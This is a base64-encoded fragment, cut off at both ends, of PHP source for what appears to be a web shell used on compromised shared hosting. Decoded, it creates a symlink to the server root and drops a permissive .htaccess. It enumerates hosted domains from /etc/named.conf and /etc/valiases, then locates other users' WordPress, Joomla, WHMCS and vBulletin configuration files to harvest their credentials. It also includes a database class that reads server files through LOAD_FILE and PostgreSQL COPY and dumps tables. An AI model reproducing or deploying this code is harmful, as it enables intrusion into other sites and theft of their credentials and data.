vbnRlbnRzX2N1cmwoJHF1ZXJ5KTsgDQogICAgLy9wcmludF9yKCRkYXRhKTsgDQogICAgJHBvcyA9IHN0cnBvcygkZGF0YSwgIlJhbmtfIik7IA0KICAgIGlmKCRwb3MgPT09IGZhbHNlKXt9IGVsc2V7IA0KICAgICAgICAkcGFnZXJhbmsgPSBzdWJzdHIoJGRhdGEsICRwb3MgKyA5KTsgDQogICAgICAgIHJldHVybiAkcGFnZXJhbms7IA0KICAgIH0gDQp9IA0KDQovL1BhZ2VyYW5rDQogIA0KICAgICAgICANCkBta2Rpcignc3ltJywwNzc3KTsNCiRJSUlJSUlJSUlJbDEgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsNCiRJSUlJSUlJSUlJMUkgPUBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7DQpmd3JpdGUoJElJSUlJSUlJSUkxSSAsJElJSUlJSUlJSUlsMSk7DQpAc3ltbGluaygnLycsJ3N5bS9yb290Jyk7DQokSUlJSUlJSUlJbElsID0gYmFzZW5hbWUoJ19GSUxFXycpOw0KICAgIA0KICAgIA0KJElJSUlJSUlJSWxsSSA9IEBmaWxlKCcvZXRjL25hbWVkLmNvbmYnKTsNCmlmKCEkSUlJSUlJSUlJbGxJKQ0Kew0KZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz4jIENhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7IA0KfQ0KZWxzZQ0Kew0KZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJz48dGQ+RG9tYWluczwvdGQ+PHRkPlVzZXJzPC90ZD48dGQ+c3ltbGluayA8L3RkPjx0ZD5QYWdlcmFuazwvdGQ+IjsNCmZvcmVhY2goJElJSUlJSUlJSWxsSSBhcyAkSUlJSUlJSUlJbGwxKXsNCmlmKEBlcmVnaSgnem9uZScsJElJSUlJSUlJSWxsMSkpew0KcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRJSUlJSUlJSUlsbDEsJElJSUlJSUlJSWwxMSk7DQpmbHVzaCgpOw0KaWYoc3RybGVuKHRyaW0oJElJSUlJSUlJSWwxMVsxXVswXSkpID4yKXsNCiRJSUlJSUlJSUkxSTEgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJElJSUlJSUlJSWwxMVsxXVswXSkpOw0KJElJSUlJSUlJMUkxbCA9ICRJSUlJSUlJSUkxSTFbJ25hbWUnXSA7DQpAc3ltbGluaygnLycsJ3N5bS9yb290Jyk7DQokSUlJSUlJSUkxSTFsID0gJElJSUlJSUlJSWwxMVsxXVswXTsNCiRJSUlJSUlJSTFJMTEgPSAnXC5pcic7DQokSUlJSUlJSUkxbElJID0gJ1wuaWwnOw0KaWYgKEBlcmVnaSgiJElJSUlJSUlJMUkxMSIsJElJSUlJSUlJSWwxMVsxXVswXSkgb3IgQGVyZWdpKCIkSUlJSUlJSUkxbElJIiwkSUlJSUlJSUlJbDExWzFdWzBdKSApDQp7DQokSUlJSUlJSUkxSTFsID0gIjxkaXYgc3R5bGU9JyBjb2xvcjogI0ZGMDAwMCA7IHRleHQtc2hhZG93OiAwcHggMHB4IDFweCByZWQ7ICc+Ii4kSUlJSUlJSUlJbDExWzFdWzBdLic8L2Rpdj4nOw0KfQ0KJHByID0gZ2V0cGFnZXJhbmsoJElJSUlJSUlJSWwxMVsxXVswXSk7DQppZigkcHI9PSIiKXsNCiRwciA9ICIwIjsNCn1lbHNlaWYoJHByPj00KXsNCiRwciA9ICc8Zm9udCBjb2xvcj0icmVkIj48Yj4nLiRwci4nPC9iPjwvZm9udD4nOw0KfQ0KZWNobyAiDQo8dHI+DQoNCjx0ZD4NCjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPWh0dHA6Ly93d3cuIi4kSUlJSUlJSUlJbDExWzFdWzBdLicvPicuJElJSUlJSUlJMUkxbC4nIDwvYT4NCjwvdGQ+DQoNCjx0ZD4NCicuJElJSUlJSUlJSTFJMVsnbmFtZSddLiINCjwvdGQ+DQoNCjx0ZD4NCjxhIGhyZWY9J3N5bS9yb290L2hvbWUvIi4kSUlJSUlJSUlJMUkxWyduYW1lJ10uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPnN5bWxpbmsgPC9hPg0KPC90ZD4NCjx0ZD4iLiRwci4iPC90ZD4NCg0KPC90cj4iOw0KZmx1c2goKTsNCn0NCn0NCn0NCn0NCiAgICANCmVjaG8gIjwvY2VudGVyPjwvdGFibGU+IjsgICAgDQogICAgDQogfQ0KIA0KIA0KIA0KIGlmKGlzc2V0KCRfUE9TVFsncDMnXSkgJiYgJF9QT1NUWydwMyddPT0nY29uZmlnJykNCiANCiANCiB7DQogIGVjaG8gIjxjZW50ZXI+IjsNCkBta2Rpcignc3ltJywwNzc3KTsNCiRJSUlJSUlJSUlJbDEgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsNCiRJSUlJSUlJSUlJMUkgPUBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7DQpAZndyaXRlKCRJSUlJSUlJSUlJMUkgLCRJSUlJSUlJSUlJbDEpOw0KQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KJElJSUlJSUlJSWxJbCA9IGJhc2VuYW1lKCdfRklMRV8nKTsNCiAgDQogICANCiAgICRJSUlJSUlJSUlsbEkgPSBAZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7DQppZighJElJSUlJSUlJSWxsSSkNCnsNCmVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IyBDYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOw0KfQ0KZWxzZQ0Kew0KZWNobyAiDQo8dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJScgY2xhc3M9J21haW4nID48dGQ+IERvbWFpbnMgPC90ZD48dGQ+IFNjcmlwdCA8L3RkPiI7DQpmb3JlYWNoKCRJSUlJSUlJSUlsbEkgYXMgJElJSUlJSUlJSWxsMSl7DQppZihAZXJlZ2koJ3pvbmUnLCRJSUlJSUlJSUlsbDEpKXsNCnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkSUlJSUlJSUlJbGwxLCRJSUlJSUlJSUlsMTEpOw0KZmx1c2goKTsNCmlmKHN0cmxlbih0cmltKCRJSUlJSUlJSUlsMTFbMV1bMF0pKSA+Mil7DQokSUlJSUlJSUlJMUkxID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcignL2V0Yy92YWxpYXNlcy8nLiRJSUlJSUlJSUlsMTFbMV1bMF0pKTsNCiRJSUlJSUlJSUkxbDE9JElJSUlJSUlJSUlJbC4nL3N5bS9yb290L2hvbWUvJy4kSUlJSUlJSUlJMUkxWyduYW1lJ10uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJzsNCiRJSUlJSUlJSUkxMUk9Z2V0X2hlYWRlcnMoJElJSUlJSUlJSTFsMSk7DQokSUlJSUlJSUlJMTFsPSRJSUlJSUlJSUkxMUlbMF07DQokSUlJSUlJSUlJMTExPSRJSUlJSUlJSUlJSWwuJy9zeW0vcm9vdC9ob21lLycuJElJSUlJSUlJSTFJMVsnbmFtZSddLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJzsNCiRJSUlJSUlJSWxJSUk9Z2V0X2hlYWRlcnMoJElJSUlJSUlJSTExMSk7DQokSUlJSUlJSUlsSUlsPSRJSUlJSUlJSWxJSUlbMF07DQokSUlJSUlJSUlsSUkxPSRJSUlJSUlJSUlJSWwuJy9zeW0vcm9vdC9ob21lLycuJElJSUlJSUlJSTFJMVsnbmFtZSddLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnOw0KJElJSUlJSUlJbElsST1nZXRfaGVhZGVycygkSUlJSUlJSUlsSUkxKTsNCiRJSUlJSUlJSWxJbGw9JElJSUlJSUlJbElsSVswXTsNCiRJSUlJSUlJSWxJbDE9JElJSUlJSUlJSUlJbC4nL3N5bS9yb290L2hvbWUvJy4kSUlJSUlJSUlJMUkxWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnOw0KJElJSUlJSUlJbEkxST1nZXRfaGVhZGVycygkSUlJSUlJSUlsSWwxKTsNCiRJSUlJSUlJSWxJMWw9JElJSUlJSUlJbEkxSVswXTsNCiRJSUlJSUlJSWxJMTE9JElJSUlJSUlJSUlJbC4nL3N5bS9yb290L2hvbWUvJy4kSUlJSUlJSUlJMUkxWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJzsNCiRJSUlJSUlJSWxsSUk9Z2V0X2hlYWRlcnMoJElJSUlJSUlJbEkxMSk7DQokSUlJSUlJSUlsbElsPSRJSUlJSUlJSWxsSUlbMF07DQokSUlJSUlJSUlsbEkxPSRJSUlJSUlJSUlJSWwuJy9zeW0vcm9vdC9ob21lLycuJElJSUlJSUlJSTFJMVsnbmFtZSddLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCc7DQokSUlJSUlJSUlsbGxJPWdldF9oZWFkZXJzKCRJSUlJSUlJSWxsSTEpOw0KJElJSUlJSUlJbGxsbD0kSUlJSUlJSUlsbGxJWzBdOw0KJElJSUlJSUlJbGxsMT0kSUlJSUlJSUlJSUlsLicvc3ltL3Jvb3QvaG9tZS8nLiRJSUlJSUlJSUkxSTFbJ25hbWUnXS4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnOw0KJElJSUlJSUlJbGwxST1nZXRfaGVhZGVycygkSUlJSUlJSUlsbGwxKTsNCiRJSUlJSUlJSWxsMWw9JElJSUlJSUlJbGwxSVswXTsNCiRJSUlJSUlJSWxsMTE9JElJSUlJSUlJSUlJbC4nL3N5bS9yb290L2hvbWUvJy4kSUlJSUlJSUlJMUkxWyduYW1lJ10uJ3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnOw0KJElJSUlJSUlJbDFJST1nZXRfaGVhZGVycygkSUlJSUlJSUlsbDExKTsNCiRJSUlJSUlJSWwxSWw9JElJSUlJSUlJbDFJSVswXTsNCiRJSUlJSUlJSWwxSTE9JElJSUlJSUlJSUlJbC4nL3N5bS9yb290L2hvbWUvJy4kSUlJSUlJSUlJMUkxWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJzsNCiRJSUlJSUlJSWwxSUk9Z2V0X2hlYWRlcnMoJElJSUlJSUlJbDFJMSk7DQokSUlJSUlJSUlsMWxJPSRJSUlJSUlJSWwxSUlbMF07DQokSUlJSUlJSUlsMWxsPSRJSUlJSUlJSUlJSWwuJy9zeW0vcm9vdC9ob21lLycuJElJSUlJSUlJSTFJMVsnbmFtZSddLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJzsNCiRJSUlJSUlJSWwxbDE9Z2V0X2hlYWRlcnMoJElJSUlJSUlJbDFsbCk7DQokSUlJSUlJSUlsMTFJPSRJSUlJSUlJSWwxbDFbMF07DQokSUlJSUlJSUlsMTFsPSRJSUlJSUlJSUlJSWwuJy9zeW0vcm9vdC9ob21lLycuJElJSUlJSUlJSTFJMVsnbmFtZSddLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCc7DQokSUlJSUlJSUlsMTExPWdldF9oZWFkZXJzKCRJSUlJSUlJSWwxMWwpOw0KJElJSUlJSUlJMUlJST0kSUlJSUlJSUlsMTExWzBdOw0KJElJSUlJSUlJMUlJbD0kSUlJSUlJSUlJSUlsLicvc3ltL3Jvb3QvaG9tZS8nLiRJSUlJSUlJSUkxSTFbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCc7DQokSUlJSUlJSUkxSUkxPWdldF9oZWFkZXJzKCRJSUlJSUlJSTFJSWwpOw0KJElJSUlJSUlJMUlsST0kSUlJSUlJSUkxSUkxWzBdOw0KJElJSUlJSUlJMUlsbCA9IHN0cnBvcygkSUlJSUlJSUlJMTFsLCcyMDAnKTsNCiRJSUlJSUlJSTFJMUk9JyZuYnNwOyc7DQppZiAoc3RycG9zKCRJSUlJSUlJSUkxMWwsJzIwMCcpID09IHRydWUgKQ0Kew0KJElJSUlJSUlJMUkxST0iPGEgaHJlZj0nIi4kSUlJSUlJSUlJMWwxLiInIHRhcmdldD0nX2JsYW5rJz5Xb3JkcHJlc3M8L2E+IjsNCn0NCmVsc2VpZiAoc3RycG9zKCRJSUlJSUlJSWxJSWwsJzIwMCcpID09IHRydWUpDQp7DQokSUlJSUlJSUkxSTFJPSI8YSBocmVmPSciLiRJSUlJSUlJSUkxMTEuIicgdGFyZ2V0PSdfYmxhbmsnPldvcmRwcmVzczwvYT4iOw0KfQ0KZWxzZWlmIChzdHJwb3MoJElJSUlJSUlJbElsbCwnMjAwJykgID09IHRydWUgYW5kIHN0cnBvcygkSUlJSUlJSUkxSUlJLCcyMDAnKSAgPT0gdHJ1ZSApDQp7DQokSUlJSUlJSUkxSTFJPSIgPGEgaHJlZj0nIi4kSUlJSUlJSUlsMTFsLiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOw0KfQ0KZWxzZWlmIChzdHJwb3MoJElJSUlJSUlJbDFsSSwnMjAwJykgID09IHRydWUpDQp7DQokSUlJSUlJSUkxSTFJID0iIDxhIGhyZWY9JyIuJElJSUlJSUlJbDFJMS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsNCn0NCmVsc2VpZiAoc3RycG9zKCRJSUlJSUlJSWwxMUksJzIwMCcpICA9PSB0cnVlKQ0Kew0KJElJSUlJSUlJMUkxSSA9IiA8YSBocmVmPSciLiRJSUlJSUlJSWwxbGwuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7DQp9DQplbHNlaWYgKHN0cnBvcygkSUlJSUlJSUlsSWxsLCcyMDAnKSAgPT0gdHJ1ZSkNCnsNCiRJSUlJSUlJSTFJMUk9IiA8YSBocmVmPSciLiRJSUlJSUlJSWxJSTEuIicgdGFyZ2V0PSdfYmxhbmsnPkpvb21sYTwvYT4iOw0KfQ0KZWxzZWlmIChzdHJwb3MoJElJSUlJSUlJbEkxbCwnMjAwJykgID09IHRydWUpDQp7DQokSUlJSUlJSUkxSTFJPSIgPGEgaHJlZj0nIi4kSUlJSUlJSUlsSWwxLiInIHRhcmdldD0nX2JsYW5rJz5Kb29tbGE8L2E+IjsNCn0NCmVsc2VpZiAoc3RycG9zKCRJSUlJSUlJSWxsSWwsJzIwMCcpICA9PSB0cnVlKQ0Kew0KJElJSUlJSUlJMUkxST0iIDxhIGhyZWY9JyIuJElJSUlJSUlJbEkxMS4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7DQp9DQplbHNlaWYgKHN0cnBvcygkSUlJSUlJSUlsbGxsLCcyMDAnKSAgPT0gdHJ1ZSkNCnsNCiRJSUlJSUlJSTFJMUk9IiA8YSBocmVmPSciLiRJSUlJSUlJSWxsSTEuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOw0KfQ0KZWxzZWlmIChzdHJwb3MoJElJSUlJSUlJbGwxbCwnMjAwJykgID09IHRydWUpDQp7DQokSUlJSUlJSUkxSTFJPSIgPGEgaHJlZj0nIi4kSUlJSUlJSUlsbGwxLiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsNCn0NCmVsc2UNCnsNCmNvbnRpbnVlOw0KfQ0KJElJSUlJSUlJMUkxbCA9ICRJSUlJSUlJSUkxSTFbJ25hbWUnXSA7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9aHR0cDovL3d3dy4nLiRJSUlJSUlJSUlsMTFbMV1bMF0uJy8+Jy4kSUlJSUlJSUlJbDExWzFdWzBdLic8L2E+PC90ZD4NCjx0ZD4nLiRJSUlJSUlJSTFJMUkuJzwvdGQ+PC90cj4nO2ZsdXNoKCk7DQp9DQp9DQp9DQp9DQplY2hvICI8L2NlbnRlcj48L3RhYmxlPiI7ICAgDQogICAgDQogfQ0KICAgIA0KICAgIGVjaG8gIjwvZGl2PiI7DQogICAgbWFkZm9vdGVyKCk7DQogICAgDQp9ICAgIA0KDQoNCmZ1bmN0aW9uIG1hZHNxbCgpDQp7DQogICAgDQogICAgDQogICAgY2xhc3MgRGJDbGFzcyB7DQoJCXZhciAkdHlwZTsNCgkJdmFyICRsaW5rOw0KCQl2YXIgJHJlczsNCgkJZnVuY3Rpb24gRGJDbGFzcygkdHlwZSkJew0KCQkJJHRoaXMtPnR5cGUgPSAkdHlwZTsNCgkJfQ0KCQlmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAkdXNlciwgJHBhc3MsICRkYm5hbWUpew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlpZiggJHRoaXMtPmxpbmsgPSBAbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcyx0cnVlKSApIHJldHVybiB0cnVlOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCSRob3N0ID0gZXhwbG9kZSgnOicsICRob3N0KTsNCgkJCQkJaWYoISRob3N0WzFdKSAkaG9zdFsxXT01NDMyOw0KCQkJCQlpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCWlmIChAbXlzcWxfc2VsZWN0X2RiKCRkYikpcmV0dXJuIHRydWU7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIHF1ZXJ5KCRzdHIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkgew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxfcXVlcnkoJHN0cik7DQoJCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSBAcGdfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGZldGNoKCkgew0KCQkJJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6JHRoaXMtPnJlczsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuIEBteXNxbF9mZXRjaF9hc3NvYygkcmVzKTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gQHBnX2ZldGNoX2Fzc29jKCRyZXMpOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBsaXN0RGJzKCkgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5xdWVyeSgiU0hPVyBkYXRhYmFzZXMiKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIFdIRVJFIGRhdGlzdGVtcGxhdGUhPSd0JyIpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoInNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWEgIT0gJ2luZm9ybWF0aW9uX3NjaGVtYScgQU5EIHRhYmxlX3NjaGVtYSAhPSAncGdfY2F0YWxvZyciKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBlcnJvcigpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuIEBteXNxbF9lcnJvcigpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuIEBwZ19sYXN0X2Vycm9yKCk7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gc2V0Q2hhcnNldCgkc3RyKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJzZXQnKSkNCgkJCQkJCXJldHVybiBAbXlzcWxfc2V0X2NoYXJzZXQoJHN0ciwgJHRoaXMtPmxpbmspOw0KCQkJCQllbHNlDQoJCQkJCQkkdGhpcy0+cXVlcnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7DQoJCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuIEBwZ19zZXRfY2xpZW50X2VuY29kaW5nKCR0aGlzLT5saW5rLCAkc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gbG9hZEZpbGUoJHN0cikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPmZldGNoKCR0aGlzLT5xdWVyeSgiU0VMRUNUIExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRzdHIpLiInKSBhcyBmaWxlIikpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJJHRoaXMtPnF1ZXJ5KCJDUkVBVEUgVEFCTEUgd3NvMihmaWxlIHRleHQpO0NPUFkgd3NvMiBGUk9NICciLmFkZHNsYXNoZXMoJHN0cikuIic7c2VsZWN0IGZpbGUgZnJvbSB3c28yOyIpOw0KCQkJCQkkcj1hcnJheSgpOw0KCQkJCQl3aGlsZSgkaT0kdGhpcy0+ZmV0Y2goKSkNCgkJCQkJCSRyW10gPSAkaVsnZmlsZSddOw0KCQkJCQkkdGhpcy0+cXVlcnkoJ2Ryb3AgdGFibGUgd3NvMicpOw0KCQkJCQlyZXR1cm4gYXJyYXkoJ2ZpbGUnPT5pbXBsb2RlKCJcbiIsJHIpKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBkdW1wKCR0YWJsZSwgJGZwID0gZmFsc2UpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJJHJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJyk7DQoJCQkJCSRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzKTsNCgkJCQkJJHNxbCA9ICRjcmVhdGVbMV0uIjtcbiI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsNCgkJCQkJJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOw0KICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7DQoJCQkJCXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsNCgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsNCgkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHYgPT0gbnVsbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIk5VTEwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihpc19udW1lcmljKCR2KSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gJHY7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIuQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOw0KCQkJCQkJCSRjb2x1bW5zW10gPSAiYCIuJGsuImAiOw0KCQkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGhlYWQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMgXG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICJcblx0LCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsNCgkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICBpZighJGhlYWQpDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICI7XG5cbiIpOyBlbHNlIGVjaG8oIjtcblxuIik7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOw0KCQkJCQl3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7DQoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7DQoJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgew0KCQkJCQkJCSRpdGVtWyRrXSA9ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7DQoJCQkJCQkJJGNvbHVtbnNbXSA9ICRrOw0KCQkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsICRpdGVtKS4nKTsnLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnA